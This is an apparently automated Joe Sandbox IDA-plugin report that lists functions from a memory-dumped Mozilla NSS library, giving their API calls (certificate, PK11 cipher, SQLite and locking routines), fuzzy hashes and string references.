Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: d508e817712b4d0a33801dbbc81454316c5cec8bb9cd7623391b3b7a25ee5349
Instruction ID: 710152ce2a84db24d057814541dcac78aafc2c93ae11dec152a264506b602ee0
Opcode Fuzzy Hash: d508e817712b4d0a33801dbbc81454316c5cec8bb9cd7623391b3b7a25ee5349
Instruction Fuzzy Hash: 5C210BF1604B00ABEA209F759909BD376F8AF45708F140938E85A87A41D736F118CBD6

Function 6C6D3C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C74460B,?,?), ref: 6C6D3CA9
EnterCriticalSection.KERNEL32(?), ref: 6C6D3CB9
PL_HashTableLookup.NSS3(?), ref: 6C6D3CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C6D3CD6
PR_Unlock.NSS3 ref: 6C6D3CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C6D3CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6D3D03
PR_Unlock.NSS3 ref: 6C6D3D15

Part of subcall function 6C77DD70: TlsGetValue.KERNEL32 ref: 6C77DD8C
Part of subcall function 6C77DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C77DDB4

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: e97a64d4e558ce2a5998cfd3ad4ab500d069f7a6233fd06a8d60c07e6e35ed6a
Instruction ID: e2760e726e61f3e81ade31ccf81fe4543925ea91b9626e2c30fcfd5ccff61da0
Opcode Fuzzy Hash: e97a64d4e558ce2a5998cfd3ad4ab500d069f7a6233fd06a8d60c07e6e35ed6a
Instruction Fuzzy Hash: 65112C76E0051477EB211A64EC0D8A63A78EB1335CF164530ED1C93712F725E868C6E5

Function 6C6D9C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6F11C0: PR_NewLock.NSS3 ref: 6C6F1216

free.MOZGLUE(?), ref: 6C6D9E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6D9E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6D9E4E
TlsGetValue.KERNEL32 ref: 6C6D9EA2

Part of subcall function 6C6E9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C6E9546

EnterCriticalSection.KERNEL32(?), ref: 6C6D9EB6
PR_Unlock.NSS3 ref: 6C6D9ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C6D9F18

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 8717805c8090ad01e7c1663e5d5012a1b2818e73d74cf3d0bd3707075bae99c7
Instruction ID: 0c8fb8f546aed34b7bf3f83d7c6baa90cec486c99742658c0a93fa277681aab7
Opcode Fuzzy Hash: 8717805c8090ad01e7c1663e5d5012a1b2818e73d74cf3d0bd3707075bae99c7
Instruction Fuzzy Hash: 1E81F5B1A00601ABEB109F34DC50AAB77A9BF4934CF154529E84987B02FF31F819C7DA

Function 6C6EDCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6EAB10: DeleteCriticalSection.KERNEL32(D958E852,6C6F1397,5B5F5EC0,?,?,6C6EB1EE,2404110F,?,?), ref: 6C6EAB3C
Part of subcall function 6C6EAB10: free.MOZGLUE(D958E836,?,6C6EB1EE,2404110F,?,?), ref: 6C6EAB49
Part of subcall function 6C6EAB10: DeleteCriticalSection.KERNEL32(5D5E6C8E), ref: 6C6EAB5C
Part of subcall function 6C6EAB10: free.MOZGLUE(5D5E6C82), ref: 6C6EAB63
Part of subcall function 6C6EAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C6EAB6F
Part of subcall function 6C6EAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C6EAB76

TlsGetValue.KERNEL32 ref: 6C6EDCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C6EDD0E
PK11_IsFriendly.NSS3(?), ref: 6C6EDD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C6EDD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6EDE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6EDEA6
PR_Unlock.NSS3(?), ref: 6C6EDF08

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: bd0d72809102a11d2d7436ff055f19cbbabaaf21cc358b721f225de3786d3a0c
Instruction ID: 9b8cab67271d81eecbe16d5652cfdef7f8e9beeaf7471ec4299eddfb31533292
Opcode Fuzzy Hash: bd0d72809102a11d2d7436ff055f19cbbabaaf21cc358b721f225de3786d3a0c
Instruction Fuzzy Hash: 6D91F6B5E062059FDB00CF68C884BAAB7B5BF8D308F15402ADC189B751E731E806CB99

Function 6C6A5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C78BB62,00000004,6C7F4CA4,?,?,00000000,?,?,6C6631DB), ref: 6C6A60AB
sqlite3_config.NSS3(00000004,6C7F4CA4,6C78BB62,00000004,6C7F4CA4,?,?,00000000,?,?,6C6631DB), ref: 6C6A60EB
sqlite3_config.NSS3(00000012,6C7F4CC4,?,?,6C78BB62,00000004,6C7F4CA4,?,?,00000000,?,?,6C6631DB), ref: 6C6A6122

Strings

misuse, xrefs: 6C6A609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6A6095
%s at line %d of [%.10s], xrefs: 6C6A60A4

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 04312e0bb2ab6d847398e15bd9250ff1baa3f0dfad534aa6133a8bbdccfa460d
Instruction ID: 4f0911a46a893692a21bcd7876e9ebd56f37914a992b3117030f6e1e74686bc8
Opcode Fuzzy Hash: 04312e0bb2ab6d847398e15bd9250ff1baa3f0dfad534aa6133a8bbdccfa460d
Instruction Fuzzy Hash: 40B13374E04646CFCB14CF6CC2449A9B7F0FB1E309B059169D509AB362D734AA86CBD9

Function 6C654F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6551BB

Strings

misuse, xrefs: 6C6551AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6551A5
%s at line %d of [%.10s], xrefs: 6C6551B4
unable to delete/modify user-function due to active statements, xrefs: 6C6551DF

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 4bc4c8b901cab7e24e5d644e30a55a1baf2da78e617af75a0f641206a3746c2f
Instruction ID: 4902c7b0074e2cf1bfc121bf4f43afeac2eb523ab00dd1882cc129090e1581d7
Opcode Fuzzy Hash: 4bc4c8b901cab7e24e5d644e30a55a1baf2da78e617af75a0f641206a3746c2f
Instruction Fuzzy Hash: 5B719D7170420A9BDB00CE59CD88BDA7BB5BF48308F644524FD199BB81D335E864CBA5

Function 6C73FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C73F165,?), ref: 6C73FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C73F165,?), ref: 6C73FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C73F165,?), ref: 6C73FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C73F165,?), ref: 6C73FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C73F165,?), ref: 6C73FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C73F165,6C80219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C73FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C73F165,?), ref: 6C7400A6

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 22a15d31256776b5544b96f8c6ce54827d41c974f958ba9574610238990075ec
Instruction ID: 21269f025ac1cfb49c5ac666bec966bc15e920a8e5bffe0d5d81d6bc4076f132
Opcode Fuzzy Hash: 22a15d31256776b5544b96f8c6ce54827d41c974f958ba9574610238990075ec
Instruction Fuzzy Hash: 8B510471E002669FDB108E98CA807AEB7B5FB59359F258239DD59A7B51D332AC00CBD0

Function 6C6FDEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6FDF37
EnterCriticalSection.KERNEL32(?), ref: 6C6FDF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6FDF96
PR_SetError.NSS3(00000000,00000000), ref: 6C6FE02B
PR_Unlock.NSS3(?), ref: 6C6FE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6FE090
PR_Unlock.NSS3(?), ref: 6C6FE0AF

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 04a92fd1e4aa12f31d6b63856913d81cdfde98f966d4b8fc17542d7cf4056341
Instruction ID: e015bf67b578bc1ad17cc24edffd029049773c03ce8fea095c6a1516894b388d
Opcode Fuzzy Hash: 04a92fd1e4aa12f31d6b63856913d81cdfde98f966d4b8fc17542d7cf4056341
Instruction Fuzzy Hash: FB51B131A00600DFEB209F24D844F9677B6FF45318F204929E86A87B91D735F95ACBD6

Function 6C6FBCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C6FBD1E

Part of subcall function 6C6D2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C6D2F0A
Part of subcall function 6C6D2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C6D2F1D

Part of subcall function 6C7157D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C6DB41E,00000000,00000000,?,00000000,?,6C6DB41E,00000000,00000000,00000001,?), ref: 6C7157E0
Part of subcall function 6C7157D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C715843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6FBD8C

Part of subcall function 6C72FAB0: free.MOZGLUE(?,-00000001,?,?,6C6CF673,00000000,00000000), ref: 6C72FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C6FBD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C6FBDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6FBE3A

Part of subcall function 6C6D3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6D3EC2
Part of subcall function 6C6D3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6D3ED6
Part of subcall function 6C6D3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6D3EEE
Part of subcall function 6C6D3E60: PR_CallOnce.NSS3(6C832AA4,6C7312D0), ref: 6C6D3F02
Part of subcall function 6C6D3E60: PL_FreeArenaPool.NSS3 ref: 6C6D3F14
Part of subcall function 6C6D3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6D3F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6FBE52

Part of subcall function 6C6D2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C6D2CDA,?,00000000), ref: 6C6D2E1E
Part of subcall function 6C6D2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C6D2E33
Part of subcall function 6C6D2E00: TlsGetValue.KERNEL32 ref: 6C6D2E4E
Part of subcall function 6C6D2E00: EnterCriticalSection.KERNEL32(?), ref: 6C6D2E5E
Part of subcall function 6C6D2E00: PL_HashTableLookup.NSS3(?), ref: 6C6D2E71
Part of subcall function 6C6D2E00: PL_HashTableRemove.NSS3(?), ref: 6C6D2E84
Part of subcall function 6C6D2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C6D2E96
Part of subcall function 6C6D2E00: PR_Unlock.NSS3 ref: 6C6D2EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6FBE61

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 1f5c2bd5ed80d6a204004a3c0dc0dda7053634821a3d366f622172cfd3452949
Instruction ID: e2822078246adb82cd2ccb54cfd1e3e21e3d0ff26c891db6bc87ac9be8b4166a
Opcode Fuzzy Hash: 1f5c2bd5ed80d6a204004a3c0dc0dda7053634821a3d366f622172cfd3452949
Instruction Fuzzy Hash: 38410575A00210AFC720CF28DD84B6A77E6FB85718F018468F91887711E735EC06CBE6

Function 6C71AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C71AB3E,?,?,?), ref: 6C71AC35

Part of subcall function 6C6FCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C6FCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C71AB3E,?,?,?), ref: 6C71AC55

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C71AB3E,?,?), ref: 6C71AC70

Part of subcall function 6C6FE300: TlsGetValue.KERNEL32 ref: 6C6FE33C
Part of subcall function 6C6FE300: EnterCriticalSection.KERNEL32(?), ref: 6C6FE350
Part of subcall function 6C6FE300: PR_Unlock.NSS3(?), ref: 6C6FE5BC
Part of subcall function 6C6FE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C6FE5CA
Part of subcall function 6C6FE300: TlsGetValue.KERNEL32 ref: 6C6FE5F2
Part of subcall function 6C6FE300: EnterCriticalSection.KERNEL32(?), ref: 6C6FE606
Part of subcall function 6C6FE300: PORT_Alloc_Util.NSS3(?), ref: 6C6FE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C71AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C71AB3E), ref: 6C71ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C71AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C71AD2B

Part of subcall function 6C6FF360: TlsGetValue.KERNEL32(00000000,?,6C71A904,?), ref: 6C6FF38B
Part of subcall function 6C6FF360: EnterCriticalSection.KERNEL32(?,?,?,6C71A904,?), ref: 6C6FF3A0
Part of subcall function 6C6FF360: PR_Unlock.NSS3(?,?,?,?,6C71A904,?), ref: 6C6FF3D3

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: a89db625e0ff3b9ae3658cb22365b996456ecf53862df9e7e484191e172a3635
Instruction ID: b5c8403a014541d473de1de16720047bfed13057b128613a299b29d01e835a22
Opcode Fuzzy Hash: a89db625e0ff3b9ae3658cb22365b996456ecf53862df9e7e484191e172a3635
Instruction Fuzzy Hash: D83129B2E046065FEB008F699D449AF77A6AF84738B1C8138E8159BB41EB31DC19C7E1

Function 6C6F8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C6F8C7C

Part of subcall function 6C799DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C7E0A27), ref: 6C799DC6
Part of subcall function 6C799DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C7E0A27), ref: 6C799DD1
Part of subcall function 6C799DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C799DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F8CB0
TlsGetValue.KERNEL32 ref: 6C6F8CD1
EnterCriticalSection.KERNEL32(?), ref: 6C6F8CE5
PR_Unlock.NSS3(?), ref: 6C6F8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C6F8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6F8D93

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: f18419294cb405e6ddbb021aec220dd3bc63854142174c85738b9e420076c327
Instruction ID: a6beecf2a14278b891eaceb958e2d79b8f4cc1474344ca6c6b0f20c71dbf84ee
Opcode Fuzzy Hash: f18419294cb405e6ddbb021aec220dd3bc63854142174c85738b9e420076c327
Instruction Fuzzy Hash: DC318A71A00205AFEB109F6ACC487DA77B1FF5A318F140136EA2967B60D730A925C7E5

Function 6C739D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C739C5B), ref: 6C739D82

Part of subcall function 6C7314C0: TlsGetValue.KERNEL32 ref: 6C7314E0
Part of subcall function 6C7314C0: EnterCriticalSection.KERNEL32 ref: 6C7314F5
Part of subcall function 6C7314C0: PR_Unlock.NSS3 ref: 6C73150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C739C5B), ref: 6C739DA9

Part of subcall function 6C731340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C6D895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6CF599,?,00000000), ref: 6C73136A
Part of subcall function 6C731340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C6D895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6CF599,?,00000000), ref: 6C73137E
Part of subcall function 6C731340: PL_ArenaGrow.NSS3(?,6C6CF599,?,00000000,?,6C6D895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6CF599,?), ref: 6C7313CF
Part of subcall function 6C731340: PR_Unlock.NSS3(?,?,6C6D895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6CF599,?,00000000), ref: 6C73145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C739C5B), ref: 6C739DCE

Part of subcall function 6C731340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C6D895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6CF599,?,00000000), ref: 6C7313F0
Part of subcall function 6C731340: PL_ArenaGrow.NSS3(?,6C6CF599,?,?,?,00000000,00000000,?,6C6D895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C731445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C739C5B), ref: 6C739DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C739C5B), ref: 6C739DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C739C5B), ref: 6C739E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C739C5B), ref: 6C739E91

